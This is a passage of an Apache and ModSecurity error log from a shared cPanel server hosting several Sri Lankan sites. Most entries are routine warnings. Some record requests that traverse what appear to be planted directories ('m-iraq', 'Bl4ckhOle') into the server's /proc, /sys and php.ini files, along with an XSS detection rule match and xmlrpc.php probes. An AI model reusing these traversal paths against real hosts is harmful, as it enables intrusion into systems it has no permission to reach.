[Fri Jul 17 10:29:08.656090 2026] [security2:error] [pid 2075705:tid 2075705] [client 61.245.169.203:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/nccphealthgov-ip": Permission denied [hostname "www.nccp.health.gov.lk"] [uri "/nccp/public/rs-plugin/js/extensions/revolution.extension.video.min.js"] [unique_id "alm2nPVsLAz87UqRdDoYJAAAAAA"], referer: https://www.nccp.health.gov.lk/en/treatmentCenter
[Fri Jul 17 10:29:08.851308 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:09.073833 2026] [security2:error] [pid 2076188:tid 2076188] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm2ncwb7ueECO0vce5t3wAAAA8"], referer: http://anandaobauae.org/?C=N;O=Duploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 10:29:09.073873 2026] [security2:error] [pid 2076188:tid 2076188] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm2ncwb7ueECO0vce5t3wAAAA8"], referer: http://anandaobauae.org/?C=N;O=Duploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 10:29:09.568146 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:09.621964 2026] [ssl:error] [pid 2075901:tid 2075901] (70014)End of file found: [client 66.85.158.91:33942] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:29:09.774762 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:09.895992 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:10.705818 2026] [mime:warn] [pid 2078862:tid 2078862] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:11.750948 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:11.868154 2026] [mime:warn] [pid 2076258:tid 2076258] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:11.962293 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:12.094896 2026] [ssl:error] [pid 2076231:tid 2076231] (70014)End of file found: [client 66.85.158.91:37274] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:29:12.446421 2026] [ssl:error] [pid 2076188:tid 2076188] (70014)End of file found: [client 66.85.158.91:37288] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:29:12.645910 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:12.762478 2026] [mime:warn] [pid 2076258:tid 2076258] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:12.857977 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:12.962902 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:13.066842 2026] [mime:warn] [pid 2076193:tid 2076193] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:13.625793 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:13.727976 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:13.848618 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:14.047965 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:14.159257 2026] [mime:warn] [pid 2076193:tid 2076193] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:14.251000 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:14.276990 2026] [ssl:error] [pid 2075780:tid 2075780] (70014)End of file found: [client 66.85.158.91:37328] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:29:14.355134 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:14.795269 2026] [mime:warn] [pid 2076193:tid 2076193] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:14.891656 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:15.094113 2026] [mime:warn] [pid 2078862:tid 2078862] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:15.223489 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:15.395926 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:15.504721 2026] [mime:warn] [pid 2076193:tid 2076193] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:15.924830 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:16.150514 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:16.373620 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:16.760901 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:16.933137 2026] [security2:error] [pid 2075901:tid 2075901] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "alm2pGFDQ6dUmh6WfoaFqAAAAAc"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1081&page_105=2541
[Fri Jul 17 10:29:16.933175 2026] [security2:error] [pid 2075901:tid 2075901] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "alm2pGFDQ6dUmh6WfoaFqAAAAAc"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1081&page_105=2541
[Fri Jul 17 10:29:16.965467 2026] [mime:warn] [pid 2076193:tid 2076193] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:17.059832 2026] [ssl:error] [pid 2075723:tid 2075723] (70014)End of file found: [client 66.85.158.91:37434] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:29:17.067413 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:17.193962 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:17.278343 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:17.377495 2026] [mime:warn] [pid 2076258:tid 2076258] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:17.479204 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:17.505727 2026] [mime:warn] [pid 2076193:tid 2076193] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:17.515663 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:17.579642 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:17.684825 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:18.105203 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:18.167707 2026] [ssl:error] [pid 2076193:tid 2076193] (70014)End of file found: [client 66.85.158.91:37488] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:29:18.537414 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:18.640325 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:18.683349 2026] [security2:error] [pid 2076258:tid 2076258] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "alm2pVwhXK3LBDRkoRBU-AAAABY"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1074&page_105=2552
[Fri Jul 17 10:29:18.683385 2026] [security2:error] [pid 2076258:tid 2076258] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "alm2pVwhXK3LBDRkoRBU-AAAABY"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1074&page_105=2552
[Fri Jul 17 10:29:18.856055 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:19.081434 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:19.190693 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:19.238618 2026] [ssl:error] [pid 2075901:tid 2075901] (70014)End of file found: [client 66.85.158.91:37542] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:29:19.289240 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:19.395507 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:19.515605 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:19.614936 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:19.716952 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:19.880474 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:19.951781 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:19.971778 2026] [authz_core:error] [pid 2075718:tid 2075718] [client 216.73.216.245:0] AH01630: client denied by server configuration: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/opt/alt/php52/etc/php.ini
[Fri Jul 17 10:29:20.069349 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:20.255747 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:20.374404 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:20.476066 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:20.523391 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:20.694241 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:20.796492 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:21.106512 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:21.207890 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:21.319824 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:21.433403 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:21.535960 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:21.636177 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:21.802717 2026] [ssl:error] [pid 2075691:tid 2075691] (70014)End of file found: [client 66.85.158.91:54634] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:29:21.856690 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:21.857336 2026] [security2:error] [pid 2079960:tid 2079960] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/lib/firmware/amlogic/"] [unique_id "alm2qUo1HlSlE-PE8fXwXAAAAAQ"]
[Fri Jul 17 10:29:21.857374 2026] [security2:error] [pid 2079960:tid 2079960] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/lib/firmware/amlogic/"] [unique_id "alm2qUo1HlSlE-PE8fXwXAAAAAQ"]
[Fri Jul 17 10:29:22.167164 2026] [ssl:error] [pid 2075693:tid 2075693] (70014)End of file found: [client 66.85.158.91:54654] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:29:23.064891 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:23.300139 2026] [ssl:error] [pid 2076194:tid 2076194] (70014)End of file found: [client 66.85.158.91:54698] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:29:25.892381 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:25.893615 2026] [security2:error] [pid 2075908:tid 2075908] [client 47.82.50.168:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/5:0/subsystem/tty50/subsystem/tty48/"] [unique_id "alm2rUj_u9-aE9qeQW0eCgAAAAk"]
[Fri Jul 17 10:29:25.893644 2026] [security2:error] [pid 2075908:tid 2075908] [client 47.82.50.168:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/5:0/subsystem/tty50/subsystem/tty48/"] [unique_id "alm2rUj_u9-aE9qeQW0eCgAAAAk"]
[Fri Jul 17 10:29:26.209789 2026] [ssl:error] [pid 2076132:tid 2076132] (70014)End of file found: [client 66.85.158.91:54842] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:29:26.234410 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:27.724687 2026] [ssl:error] [pid 2075691:tid 2075691] (70014)End of file found: [client 66.85.158.91:55028] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:29:27.783766 2026] [security2:error] [pid 2075901:tid 2075901] [client 176.125.241.253:0] ModSecurity: Warning. Pattern match "\\\\xbc[^\\\\xbe>]*[\\\\xbe>]|<[^\\\\xbe]*\\\\xbe" at ARGS:text. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "547"] [id "941310"] [msg "US-ASCII Malformed Encoding XSS Filter - Attack Detected"] [data "Matched Data: \\xbc\\xd0\\xb5\\xd0\\xbd\\xd0\\xbd\\xd1\\x8b\\xd1\\x85 \\xd0\\xb8\\xd0\\xbc\\xd0\\xb5\\xd0\\xbd \\xd1\\x81 \\xd0\\xb2\\xd0\\xbe found within ARGS:text: \\xd0\\x94\\xd0\\xbe\\xd0\\xb1\\xd1\\x80\\xd1\\x8b\\xd0\\xb9 \\xd0\\xb4\\xd0\\xb5\\xd0\\xbd\\xd1\\x8c! \\x0d\\x0a\\xd0\\x9f\\xd1\\x80\\xd0\\xbe\\xd0\\xb4\\xd0\\xb0\\xd0\\xb6\\xd0\\xb0 \\xd0\\xb4\\xd0\\xbe\\xd0\\xbc\\xd0\\xb5\\xd0\\xbd\\xd0\\xbd\\xd1\\x8b\\xd1\\x85 \\xd0\\xb8\\xd0\\xbc\\xd0\\xb5\\xd0\\xbd \\xd1\\x81 \\xd0\\xb2\\xd0\\xbe\\xd0\\xb7\\xd1\\x80\\xd0\\xb0\\xd1\\x81\\xd1\\x82\\xd0\\xbe\\xd0\\xbc \\xd1\\x80\\xd0\\xb5\\xd0\\xb3\\xd1\\x83\\xd0\\xb..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-tomcat"] [tag "attack-xss"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "dragon.lk"] [uri "/store/keyboard-mouse"] [unique_id "alm2r2FDQ6dUmh6WfoaFrwAAAAc"], referer: https://dragon.lk/store/keyboard-mouse?product_id=142
[Fri Jul 17 10:29:27.784345 2026] [security2:error] [pid 2075901:tid 2075901] [client 176.125.241.253:0] ModSecurity: Rule 55dbd89cdfa0 [id "942360"][file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf"][line "445"] - Execution error - PCRE limits exceeded (-47): (null). [hostname "dragon.lk"] [uri "/store/keyboard-mouse"] [unique_id "alm2r2FDQ6dUmh6WfoaFrwAAAAc"], referer: https://dragon.lk/store/keyboard-mouse?product_id=142
[Fri Jul 17 10:29:27.784694 2026] [security2:error] [pid 2075901:tid 2075901] [client 176.125.241.253:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/keyboard-mouse"] [unique_id "alm2r2FDQ6dUmh6WfoaFrwAAAAc"], referer: https://dragon.lk/store/keyboard-mouse?product_id=142
[Fri Jul 17 10:29:27.978960 2026] [security2:error] [pid 2075901:tid 2075901] [client 176.125.241.253:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=5,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/index.php"] [unique_id "alm2r2FDQ6dUmh6WfoaFrwAAAAc"], referer: https://dragon.lk/store/keyboard-mouse?product_id=142
[Fri Jul 17 10:29:28.463926 2026] [security2:error] [pid 2075978:tid 2075978] [client 43.252.15.84:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/buddhika-global": Permission denied [hostname "millenniumagro.lk"] [uri "/wp-content/themes/greenmart/css/animate.css"] [unique_id "alm2sGFjrl6DCT-Pyn8VZAAAAAo"], referer: https://millenniumagro.lk/product/sunflower-sooriyakantha/
[Fri Jul 17 10:29:28.463972 2026] [security2:error] [pid 2075978:tid 2075978] [client 43.252.15.84:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/buddhika-ip": Permission denied [hostname "millenniumagro.lk"] [uri "/wp-content/themes/greenmart/css/animate.css"] [unique_id "alm2sGFjrl6DCT-Pyn8VZAAAAAo"], referer: https://millenniumagro.lk/product/sunflower-sooriyakantha/
[Fri Jul 17 10:29:28.828781 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:28.828935 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:29.720888 2026] [security2:error] [pid 2075689:tid 2075689] [client 112.134.186.173:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/js/app.js"] [unique_id "alm2sV6LQV5zcO01IS_CvAAAAAw"], referer: https://www.epid.gov.lk/
[Fri Jul 17 10:29:29.720921 2026] [security2:error] [pid 2075689:tid 2075689] [client 112.134.186.173:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/js/app.js"] [unique_id "alm2sV6LQV5zcO01IS_CvAAAAAw"], referer: https://www.epid.gov.lk/
[Fri Jul 17 10:29:30.082054 2026] [ssl:error] [pid 2076194:tid 2076194] (70014)End of file found: [client 66.85.158.91:55506] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:29:32.254135 2026] [core:error] [pid 2075718:tid 2075718] (13)Permission denied: [client 47.82.48.55:0] AH00132: file permissions deny server access: /home/anandaob/public_html/backup/js/Bl4ckhOle/root/sys/class/pci_bus/0000:00/device/0000:00:02.0/driver/remove_id
[Fri Jul 17 10:29:33.532984 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:38.066987 2026] [security2:error] [pid 2079960:tid 2079960] [client 112.134.186.173:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/storage/tile/images/Covid 19 & Other RD 2025.jpg"] [unique_id "alm2uko1HlSlE-PE8fXwZwAAAAQ"], referer: https://www.epid.gov.lk/home
[Fri Jul 17 10:29:38.067077 2026] [security2:error] [pid 2079960:tid 2079960] [client 112.134.186.173:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/storage/tile/images/Covid 19 & Other RD 2025.jpg"] [unique_id "alm2uko1HlSlE-PE8fXwZwAAAAQ"], referer: https://www.epid.gov.lk/home
[Fri Jul 17 10:29:38.341770 2026] [ssl:error] [pid 2075908:tid 2075908] (70014)End of file found: [client 66.85.158.91:58686] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:29:38.341964 2026] [security2:error] [pid 2075908:tid 2075908] [client 57.141.18.115:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory55/subsystem/devices/memory48/node0/memory0/phys_index"] [unique_id "alm2ukj_u9-aE9qeQW0eGAAAAAk"]
[Fri Jul 17 10:29:38.341986 2026] [security2:error] [pid 2075908:tid 2075908] [client 57.141.18.115:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory55/subsystem/devices/memory48/node0/memory0/phys_index"] [unique_id "alm2ukj_u9-aE9qeQW0eGAAAAAk"]
[Fri Jul 17 10:29:39.208104 2026] [ssl:error] [pid 2075780:tid 2075780] (70014)End of file found: [client 66.85.158.91:58716] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:29:41.716377 2026] [ssl:error] [pid 2078862:tid 2078862] (70014)End of file found: [client 66.85.158.91:40140] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:29:43.488972 2026] [security2:error] [pid 2075690:tid 2075690] [client 103.169.209.222:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/colperlab-global": Permission denied [hostname "colperlab.com"] [uri "/xmlrpc.php"] [unique_id "alm2vxyL4_TKNgi7OLI4dAAAAB4"]
[Fri Jul 17 10:29:43.489012 2026] [security2:error] [pid 2075690:tid 2075690] [client 103.169.209.222:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/colperlab-ip": Permission denied [hostname "colperlab.com"] [uri "/xmlrpc.php"] [unique_id "alm2vxyL4_TKNgi7OLI4dAAAAB4"]
[Fri Jul 17 10:29:46.532629 2026] [mime:warn] [pid 2080166:tid 2080166] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:47.490976 2026] [core:error] [pid 2076194:tid 2076194] (13)Permission denied: [client 57.141.18.13:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory5/subsystem/devices/memory0/subsystem/devices/memory121/node0/memory83/subsystem/drivers_probe
[Fri Jul 17 10:29:49.022433 2026] [ssl:error] [pid 2078862:tid 2078862] (70014)End of file found: [client 66.85.158.91:40400] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:29:50.541154 2026] [cgi:error] [pid 2075691:tid 2075691] [client 191.239.249.183:0] AH02812: stderr from /home/ceylondigest/public_html/cgi-bin/: attempt to invoke directory as script
[Fri Jul 17 10:29:50.612101 2026] [ssl:error] [pid 2075689:tid 2075689] (70014)End of file found: [client 66.85.158.91:40486] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:29:50.813813 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:29:52.438696 2026] [ssl:error] [pid 2075904:tid 2075904] (70014)End of file found: [client 66.85.158.91:48444] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:29:53.846773 2026] [ssl:error] [pid 2076231:tid 2076231] (70014)End of file found: [client 66.85.158.91:48518] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:29:55.299410 2026] [ssl:error] [pid 2075692:tid 2075692] (70014)End of file found: [client 66.85.158.91:48946] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:29:56.739555 2026] [ssl:error] [pid 2075723:tid 2075723] (70014)End of file found: [client 66.85.158.91:49040] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:30:00.490928 2026] [ssl:error] [pid 2076194:tid 2076194] (70014)End of file found: [client 66.85.158.91:49130] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:30:00.849120 2026] [ssl:error] [pid 2075711:tid 2075711] (70014)End of file found: [client 66.85.158.91:49148] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:30:02.335633 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:02.340576 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:04.868467 2026] [ssl:error] [pid 2078862:tid 2078862] (70014)End of file found: [client 66.85.158.91:58096] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:30:08.274008 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:08.969010 2026] [ssl:error] [pid 2075692:tid 2075692] (70014)End of file found: [client 66.85.158.91:58258] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:30:11.145017 2026] [ssl:error] [pid 2076231:tid 2076231] (70014)End of file found: [client 66.85.158.91:58366] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:30:13.503199 2026] [mime:warn] [pid 2080166:tid 2080166] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:13.982229 2026] [security2:error] [pid 2075711:tid 2075711] [client 2401:4900:1c5c:4df3:14ba:b76:9bda:52ab:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/buddhika-global": Permission denied [hostname "stanthonys.biz"] [uri "/xmlrpc.php"] [unique_id "alm23R3_6y13_d3Np4_5-gAAAAE"]
